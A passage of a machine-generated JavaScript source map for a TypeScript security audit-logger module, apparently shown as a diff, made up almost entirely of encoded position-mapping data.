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"}
1
+ {"version":3,"file":"audit-logger.js","sourceRoot":"","sources":["../../src/security/audit-logger.ts"],"names":[],"mappings":"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